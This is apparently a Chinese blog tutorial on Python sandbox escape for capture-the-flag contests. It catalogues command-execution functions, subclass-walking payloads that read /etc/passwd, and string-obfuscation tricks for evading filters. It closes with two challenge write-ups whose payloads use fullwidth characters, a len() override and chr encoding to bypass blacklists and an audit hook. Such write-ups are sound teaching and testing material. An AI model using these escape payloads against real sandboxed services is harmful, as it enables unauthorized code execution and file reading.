python沙箱逃逸

Python 沙箱逃逸

python的模块

在python的内建函数中有一些可以进行命令执行,如:

os.system() os.popen()
commands.getstatusoutput() commands.getoutput()
commands.getstatus()
subprocess.call(command, shell=True) subprocess.Popen(command, shell=True)
pty.spawn()

常用魔术方法:

__class__查看当前类

__base__查看当前类的父类

__mro__查看当前类的所有基类 元组

__subclasses__()查看当前类下的所有子类 也是个元组

__init__查看类是否重载(指在程序运行中这个模块就已经加载到内存当中了
如果出现wrapper就说明没有重载)

__globals__ 以字典的形式返回当前对象所有全局变量

__builtins__ 提供对python的所有内置标识符的直接访问

导入模块的三种方法:

import xxx

from xxx import *

__import__('xxx')

可以通过导入模块的方式,使用可以模块下可以执行命令的函数进行命令执行。

通过函数导入模块eval和exec

eval('__import__("os").system("dir")')
exec('__import__("os").system("dir")')


timeit模块命令执行

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

python的内建函数

当不能导入模块时,可以使用python本身的内置函数,可以使用

dir(__builtins__) 来获取内置函数

在python中,不引入直接使用的内置函数被称为builtin函数,随着 builtin 这个模块自动引入到环境中。那么我们如何引入的模块呢?我们可以通过 dict 引入我们想要引入的模块。dict 的作用是列出一个模组/类/对象 下面 所有的属性和函数。这在沙盒逃逸中是很有用的,可以找到隐藏在其中的一些东西 dict能做什么呢? 我们知道,一个模块对象有一个由字典对象实现的命名空间,属性的引用会被转换为这个字典中的查找,例如,m.x 等同于 m.dict["x"]。

下面是解释的演示:

先把内置函数使用字典都列出来

然后复制到nodepad++中使用换行替换逗号,可以发现每个都是字典形式

我们通过__builtins__.__dict__['__import__'] 来访问__import__模块

然后导入os模块

常用payload:

1.利用os模块的popen函数和system函数

print(''.__class__.__base__.__subclasses__()[154].__init__.__globals__['popen']('cat /etc/passwd').read())

print(''.__class__.__base__.__subclasses__()[154].__init__.__globals__['system']('cat /etc/passwd'))

解释:

''.__class__ 查看当前所属的类

''.__class__.__base__ 查看类的父类

''.__class__.__base__.__subclasses__() 查看当前类下所有的子类

查找可命令执行的模块

''.__class__.__base__.__subclasses__()[154]

发现os模块没有重载,也就是没有加入到内存中,无法使用,要先进行重载

''.__class__.__base__.__subclasses__()[154].__init__

然后查看当前对象的所有全局变量

''.__class__.__base__.__subclasses__()[154].__init__.__globals__

查找可用于执行的函数如system,popen

最后进行命令执行

print(''.__class__.__base__.__subclasses__()[154].__init__.__globals__['system']('cat /etc/passwd'))

或者
print(''.__class__.__base__.__subclasses__()[154].__init__.__globals__['popen']('cat /etc/passwd').read())

2.利用subprocess

''.__class__.__base__.__subclasses__()[253](['cat','/etc/passwd'])

绕过过滤

绕过特殊字符串过滤

如绕过os过滤,可以用字符串的变化来引入os

__import__('so'[::-1]).system('whoami')

或者

b = 'o'
a = 's'
__import__(a+b).system('whoami')

利用eval或者exec,结合字符串倒序

eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
exec(')"imaohw"(metsys.so ;so tropmi'[::-1])

字符串的处理方式逆序、拼接、base64、hex、rot3、unicode、oct等

['__builtins__'] 
['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f'] 
[u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f'] 
['X19idWlsdGluc19f'.decode('base64')] 
['__buil'+'tins__'] 
['__buil''tins__'] 
['__buil'.__add__('tins__')] 
["_builtins_".join("__")] 
['%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)]

......

通过sys.modules导入os模块

sys.modules是一个字典,它里面储存了加载过的模板信息。当python刚启动时,所列出的模板就是解释器在启动的时候自动加载的模板。像os模块就是默认加载进来的,所以sys.modules就会储存os模板的信息。当我们不能直接引用os模块的时候我们就可以像这样sys.modules["os"]曲线救国

执行函数过滤bypass

单单引入os模块是不行的,我们还要考虑os里面的system被ban了,我们也不能通过os.system来执行命令,更狠的就是删除了system这个函数,我们可以寻找其他进行命令执行的函数

如popen

print(__import__('os').popen('whoami').read()) 
print(__import__('os').popen2('whoami').read()) # py2
print(__import__('os').popen3('whoami').read()) # py3
.。。。。。

可以通过 getattr 拿到对象的方法、属性:

import os
getattr(os, 'metsys'[::-1])('whoami')

不出现import

getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')

与 getattr 相似的还有 __getattr____getattribute__,它们自己的区别就是getattr相当于class.attr,都是获取类属性/方法的一种方式,在获取的时候会触发__getattribute__,如果__getattribute__找不到,则触发__getattr__,还找不到则报错。

字符的过滤

1、getitem绕过[]

getitem()是python的一个魔术方法

对字典使用时,传入字符串,返回字典相应键所对应的值

对列表使用时,传入整数返回列表对应索引的值

当中括号被过滤时,可以使用__getitem__()代替[],实现绕过

2、引号

1、chr ()

2、str[]结合

().__class__.__new__
#<built-in method __new__ of type object at 0x00007FF8E39F0AF0>

str() 函数将对象转化为适于人阅读的形式

str(().__class__.__new__)[21]
 #w
 os.system(
    str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
)
#os.system(whoami)

3,dict() 拿键

list(dict(whoami=1))[0] 
str(dict(whoami=1))[2:8] 
'whoami'

3、空格

通过 ()[] 替换

4、运算符

== 可以用 in 来替换

or 可以用| + -。。。-来替换

and 可以用& *替代

5、()

利用装饰器 @

利用魔术方法,例如 enum.EnumMeta.__getitem__

例题:强网杯2024[PyBlockly]

题目给了网站附件

from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"

def module_exists(module_name):

    spec = importlib.util.find_spec(module_name)
    if spec is None:
        return False

    if module_name in sys.builtin_module_names:
        return True
    
    if spec.origin:
        std_lib_path = os.path.dirname(os.__file__)
        
        if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
            return True
    return False

def verify_secure(m):
    for node in ast.walk(m):
        match type(node):
            case ast.Import:  
                print("ERROR: Banned module ")
                return False
            case ast.ImportFrom: 
                print(f"ERROR: Banned module {node.module}")
                return False
    return True

def check_for_blacklisted_symbols(input_text):
    if re.search(blacklist_pattern, input_text):
        return True
    else:
        return False

def block_to_python(block):
    block_type = block['type']
    code = ''
    
    if block_type == 'print':
        text_block = block['inputs']['TEXT']['block']
        text = block_to_python(text_block)  
        code = f"print({text})"
           
    elif block_type == 'math_number':
        
        if str(block['fields']['NUM']).isdigit():      
            code =  int(block['fields']['NUM']) 
        else:
            code = ''
    elif block_type == 'text':
        if check_for_blacklisted_symbols(block['fields']['TEXT']):
            code = ''
        else:
        
            code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
    elif block_type == 'max':
        
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)  
        b = block_to_python(b_block)
        code =  f"max({a}, {b})"

    elif block_type == 'min':
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code =  f"min({a}, {b})"

    if 'next' in block:
        
        block = block['next']['block']
        
        code +="\n" + block_to_python(block)+ "\n"
    else:
        return code 
    return code

def json_to_python(blockly_data):
    block = blockly_data['blocks']['blocks'][0]

    python_code = ""
    python_code += block_to_python(block) + "\n"

        
    return python_code

def do(source_code):
    hook_code = '''
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''
    print(source_code)
    code = hook_code + source_code
    tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
    try:
        if verify_secure(tree):  
            with open("run.py", 'w') as f:
                f.write(code)        
            result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
            # os.remove('run.py')
            return result
        else:
            return "Execution aborted due to security concerns."
    except:
        # os.remove('run.py')
        return "Timeout!"

@app.route('/')
def index():
    return app.send_static_file('index.html')

@app.route('/blockly_json', methods=['POST'])
def blockly_json():
    blockly_data = request.get_data()
    print(type(blockly_data))
    blockly_data = json.loads(blockly_data.decode('utf-8'))
    print(blockly_data)
    try:
        python_code = json_to_python(blockly_data)
        return do(python_code)
    except Exception as e:
        return jsonify({"error": "Error generating Python code", "details": str(e)})
    
if __name__ == '__main__':
    app.run(host = '0.0.0.0')

分析源码发现该网站是通过POST传参传入json数据到后端,然后再把json数据转换为python格式进行执行的

重点代码:

def do(source_code):
    hook_code = '''
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''
    print(source_code)
    code = hook_code + source_code
    tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
    try:
        if verify_secure(tree):  
            with open("run.py", 'w') as f:
                f.write(code)        
            result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
            # os.remove('run.py')
            return result
        else:
            return "Execution aborted due to security concerns."
    except:
        # os.remove('run.py')
        return "Timeout!"

这是代码执行函数,要执行用户传入的数据首先要绕过黑名单,然后通过代码审计钩子再次过滤用户输入,最后把用户输入写入到run.py文件中,最后通过subprocess.run来运行用户输入

首先看过滤用的黑名单

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"

基本把符号给过滤完了

然后看到block_to_python函数中存在unidecode.unidecode编码方式,这是把字符转换为半角字符用的,而英文字符就是半角字符,中文字符是全角字符,所以可以使用全角字符绕过黑名单的过滤

def block_to_python(block):
    block_type = block['type']
    code = ''
    
    if block_type == 'print':
        text_block = block['inputs']['TEXT']['block']
        text = block_to_python(text_block)  
        code = f"print({text})"
           
    elif block_type == 'math_number':
        
        if str(block['fields']['NUM']).isdigit():      
            code =  int(block['fields']['NUM']) 
        else:
            code = ''
    elif block_type == 'text':
        if check_for_blacklisted_symbols(block['fields']['TEXT']):
            code = ''
        else:
        
            code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
    elif block_type == 'max':
        
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)  
        b = block_to_python(b_block)
        code =  f"max({a}, {b})"

    elif block_type == 'min':
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code =  f"min({a}, {b})"

    if 'next' in block:
        
        block = block['next']['block']
        
        code +="\n" + block_to_python(block)+ "\n"
    else:
        return code 
    return code

这里第一个过滤绕过去了,而代码审计钩子还有过滤,如果传入审计钩子的event_name长度大于4,则不能执行,如果传入的event_name包含有blacklist中的也不能执行

def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

所以这里可以使用python的lambda关键字来覆盖内置函数len(),使其返回长度等于1

所以可以构造payload:

';len=lambda x:1;__builtins__.__import__("os").system("whoami");'

这里需要用脚本把这个payload转换为全角字符

def to_fullwidth(text):
    fullwidth_text = ''
    for char in text:
        if 33 <= ord(char) <= 126:  # 半角字符的 ASCII 码范围
            fullwidth_char = chr(ord(char) + 0xFEE0)
        else:
            fullwidth_char = char
        fullwidth_text += fullwidth_char
    return fullwidth_text

# 示例用法
halfwidth_text = input("请输入半角字符:")
fullwidth_text = to_fullwidth(halfwidth_text)
print(fullwidth_text)

真正的payload为:

';len=lambda x:1;__builtins__.__import__("os").system("whoami");'

例题:newstartctf[臭皮的计算机]

from flask import Flask, render_template, request
import uuid
import subprocess
import os
import tempfile

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def waf(s):
    token = True
    for i in s:
        if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
            token = False
            break
    return token

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/calc", methods=['POST', 'GET'])
def calc():
    
    if request.method == 'POST':
        num = request.form.get("num")
        script = f'''import os
print(eval("{num}"))
'''
        print(script)
        if waf(num):
            try:
                result_output = ''
                with tempfile.NamedTemporaryFile(mode='w+', suffix='.py', delete=False) as temp_script:
                    temp_script.write(script)
                    temp_script_path = temp_script.name
                    print(temp_script_path)
                result = subprocess.run(['python', temp_script_path], capture_output=True, text=True)
                print(result)
                # os.remove(temp_script_path)

                result_output = result.stdout if result.returncode == 0 else result.stderr
            except Exception as e:
                print(e)
                result_output = str(e)
            print(result_output)
            return render_template("calc.html", result=result_output)
        else:
            return render_template("calc.html", result="臭皮!你想干什么!!")
    return render_template("calc.html", result='试试呗')

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=30002)

这题整体思路是通过POST传参传入参数写入到eval中准备执行传入的参数,然后再通过waf过滤字母,再把import os print(eval("{num}"))传入到临时文件中,最后执行临时文件,并将结果返回到页面上

绕过过滤

def waf(s):
    token = True
    for i in s:
        if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
            token = False
            break
    return token

由于waf过滤了全部字母,所以想到全角字符绕过,可是python的内部模块和命令无法使用全角字符执行,所以把模块和命令使用chr绕过或者八进制绕过

于是payload为

__import__(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))
或者
__import__('\157\163').system('\143\141\164\40\57\146\154\141\147')

其中 111 115 分别对应 os 的 ASCII 码,99 97 116 32 47 102 108 97 103 分别对应 cat /flag 的 ASCII 码

注意:+在通过burp发包时需要进行url编码否则会被视为空格

参考文献:

https://xz.aliyun.com/t/12303?time__1311=GqGxRDyD2DuDnBDlr%2B3eTxRh2Kq52DG%3Da4D#toc-2

https://ciphersaw.me/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/

posted @ 2024-11-24 21:31  name12581  阅读(185)  评论(0)    收藏  举报